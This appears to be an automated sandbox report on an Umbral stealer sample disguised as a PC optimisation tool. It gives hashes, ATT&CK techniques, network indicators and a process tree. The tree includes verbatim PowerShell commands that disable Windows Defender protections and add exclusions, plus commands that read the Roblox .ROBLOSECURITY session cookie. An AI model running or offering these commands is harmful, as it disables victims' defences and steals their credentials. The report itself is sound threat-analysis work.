umbral | 3d33b7e8a8541de77e1428e6998cf1d77e1e3c7121ff42bb92285614db513bc9

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
27-08-2024 20:20

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General

Target

Optimization_Pc_Twea.exe
Size

240KB
MD5

3ab1d460b16ec34493d9d769729a53fc
SHA1

e7e379fb8d8390103e53c31f07a52dbd1bc796a1
SHA256

3d33b7e8a8541de77e1428e6998cf1d77e1e3c7121ff42bb92285614db513bc9
SHA512

37d59d665ed891832e3e8efd6b74116bb51230a69b1c5fff53e2aaf8eaaade4d807215dae3bbd26ec5812f8bae55f2d982e975d38c0d6ce684b5b2cea93f2949
SSDEEP

6144:vloZMNrIkd8g+EtXHkv/iD4lx4+Clg8e1mbTi:NoZmL+EP8DMwK+

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1744-1-0x0000000000D70000-0x0000000000DB2000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe
2664	powershell.exe
2532	powershell.exe
2744	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2860	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2952	powershell.exe
2744	powershell.exe
2664	powershell.exe
2692	powershell.exe
2532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1744	Optimization_Pc_Twea.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeIncreaseQuotaPrivilege	2052	wmic.exe
Token: SeSecurityPrivilege	2052	wmic.exe
Token: SeTakeOwnershipPrivilege	2052	wmic.exe
Token: SeLoadDriverPrivilege	2052	wmic.exe
Token: SeSystemProfilePrivilege	2052	wmic.exe
Token: SeSystemtimePrivilege	2052	wmic.exe
Token: SeProfSingleProcessPrivilege	2052	wmic.exe
Token: SeIncBasePriorityPrivilege	2052	wmic.exe
Token: SeCreatePagefilePrivilege	2052	wmic.exe
Token: SeBackupPrivilege	2052	wmic.exe
Token: SeRestorePrivilege	2052	wmic.exe
Token: SeShutdownPrivilege	2052	wmic.exe
Token: SeDebugPrivilege	2052	wmic.exe
Token: SeSystemEnvironmentPrivilege	2052	wmic.exe
Token: SeRemoteShutdownPrivilege	2052	wmic.exe
Token: SeUndockPrivilege	2052	wmic.exe
Token: SeManageVolumePrivilege	2052	wmic.exe
Token: 33	2052	wmic.exe
Token: 34	2052	wmic.exe
Token: 35	2052	wmic.exe
Token: SeIncreaseQuotaPrivilege	2052	wmic.exe
Token: SeSecurityPrivilege	2052	wmic.exe
Token: SeTakeOwnershipPrivilege	2052	wmic.exe
Token: SeLoadDriverPrivilege	2052	wmic.exe
Token: SeSystemProfilePrivilege	2052	wmic.exe
Token: SeSystemtimePrivilege	2052	wmic.exe
Token: SeProfSingleProcessPrivilege	2052	wmic.exe
Token: SeIncBasePriorityPrivilege	2052	wmic.exe
Token: SeCreatePagefilePrivilege	2052	wmic.exe
Token: SeBackupPrivilege	2052	wmic.exe
Token: SeRestorePrivilege	2052	wmic.exe
Token: SeShutdownPrivilege	2052	wmic.exe
Token: SeDebugPrivilege	2052	wmic.exe
Token: SeSystemEnvironmentPrivilege	2052	wmic.exe
Token: SeRemoteShutdownPrivilege	2052	wmic.exe
Token: SeUndockPrivilege	2052	wmic.exe
Token: SeManageVolumePrivilege	2052	wmic.exe
Token: 33	2052	wmic.exe
Token: 34	2052	wmic.exe
Token: 35	2052	wmic.exe
Token: SeIncreaseQuotaPrivilege	1056	wmic.exe
Token: SeSecurityPrivilege	1056	wmic.exe
Token: SeTakeOwnershipPrivilege	1056	wmic.exe
Token: SeLoadDriverPrivilege	1056	wmic.exe
Token: SeSystemProfilePrivilege	1056	wmic.exe
Token: SeSystemtimePrivilege	1056	wmic.exe
Token: SeProfSingleProcessPrivilege	1056	wmic.exe
Token: SeIncBasePriorityPrivilege	1056	wmic.exe
Token: SeCreatePagefilePrivilege	1056	wmic.exe
Token: SeBackupPrivilege	1056	wmic.exe
Token: SeRestorePrivilege	1056	wmic.exe
Token: SeShutdownPrivilege	1056	wmic.exe
Token: SeDebugPrivilege	1056	wmic.exe
Token: SeSystemEnvironmentPrivilege	1056	wmic.exe
Token: SeRemoteShutdownPrivilege	1056	wmic.exe
Token: SeUndockPrivilege	1056	wmic.exe
Token: SeManageVolumePrivilege	1056	wmic.exe
Token: 33	1056	wmic.exe
Token: 34	1056	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 2952	1744	Optimization_Pc_Twea.exe	29
PID 1744 wrote to memory of 2952	1744	Optimization_Pc_Twea.exe	29
PID 1744 wrote to memory of 2952	1744	Optimization_Pc_Twea.exe	29
PID 1744 wrote to memory of 2744	1744	Optimization_Pc_Twea.exe	31
PID 1744 wrote to memory of 2744	1744	Optimization_Pc_Twea.exe	31
PID 1744 wrote to memory of 2744	1744	Optimization_Pc_Twea.exe	31
PID 1744 wrote to memory of 2664	1744	Optimization_Pc_Twea.exe	33
PID 1744 wrote to memory of 2664	1744	Optimization_Pc_Twea.exe	33
PID 1744 wrote to memory of 2664	1744	Optimization_Pc_Twea.exe	33
PID 1744 wrote to memory of 2692	1744	Optimization_Pc_Twea.exe	35
PID 1744 wrote to memory of 2692	1744	Optimization_Pc_Twea.exe	35
PID 1744 wrote to memory of 2692	1744	Optimization_Pc_Twea.exe	35
PID 1744 wrote to memory of 2052	1744	Optimization_Pc_Twea.exe	37
PID 1744 wrote to memory of 2052	1744	Optimization_Pc_Twea.exe	37
PID 1744 wrote to memory of 2052	1744	Optimization_Pc_Twea.exe	37
PID 1744 wrote to memory of 1056	1744	Optimization_Pc_Twea.exe	40
PID 1744 wrote to memory of 1056	1744	Optimization_Pc_Twea.exe	40
PID 1744 wrote to memory of 1056	1744	Optimization_Pc_Twea.exe	40
PID 1744 wrote to memory of 2552	1744	Optimization_Pc_Twea.exe	42
PID 1744 wrote to memory of 2552	1744	Optimization_Pc_Twea.exe	42
PID 1744 wrote to memory of 2552	1744	Optimization_Pc_Twea.exe	42
PID 1744 wrote to memory of 2532	1744	Optimization_Pc_Twea.exe	44
PID 1744 wrote to memory of 2532	1744	Optimization_Pc_Twea.exe	44
PID 1744 wrote to memory of 2532	1744	Optimization_Pc_Twea.exe	44
PID 1744 wrote to memory of 2860	1744	Optimization_Pc_Twea.exe	46
PID 1744 wrote to memory of 2860	1744	Optimization_Pc_Twea.exe	46
PID 1744 wrote to memory of 2860	1744	Optimization_Pc_Twea.exe	46

C:\Users\Admin\AppData\Local\Temp\Optimization_Pc_Twea.exe
"C:\Users\Admin\AppData\Local\Temp\Optimization_Pc_Twea.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Optimization_Pc_Twea.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2052
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\64CBAGF0OSC4FUHWD7RK.temp

Filesize
7KB

MD5
895178d123998027cdec8faacf0616a5

SHA1
67cd5a0a90f532795b2d8f940dce9608edae455f

SHA256
2e40b9c62efd0aafaa956f3b46214ad85b3db173968f6427c83a6cd4eea89faf

SHA512
3ac452a5a561a224bc70f4f92cbbb23460d3a69b39af8e69be367b30e908901d5f6f132631d46a42bbd672309a6d8968614ac0bdea52d09b4330d57021ff17fb

Download Submit
memory/1744-1-0x0000000000D70000-0x0000000000DB2000-memory.dmp

Filesize
264KB

Download
memory/1744-2-0x000007FEF6320000-0x000007FEF6D0C000-memory.dmp

Filesize
9.9MB

Download
memory/1744-50-0x000007FEF6320000-0x000007FEF6D0C000-memory.dmp

Filesize
9.9MB

Download
memory/1744-0-0x000007FEF6323000-0x000007FEF6324000-memory.dmp

Filesize
4KB

Download
memory/2532-46-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2744-21-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2744-22-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2952-8-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2952-14-0x000007FEEE030000-0x000007FEEE9CD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-15-0x000007FEEE030000-0x000007FEEE9CD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-11-0x000007FEEE030000-0x000007FEEE9CD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-12-0x000007FEEE030000-0x000007FEEE9CD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-13-0x000007FEEE030000-0x000007FEEE9CD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-9-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/2952-10-0x000007FEEE030000-0x000007FEEE9CD000-memory.dmp

Filesize
9.6MB

Download
memory/2952-7-0x000007FEEE2EE000-0x000007FEEE2EF000-memory.dmp

Filesize
4KB

Download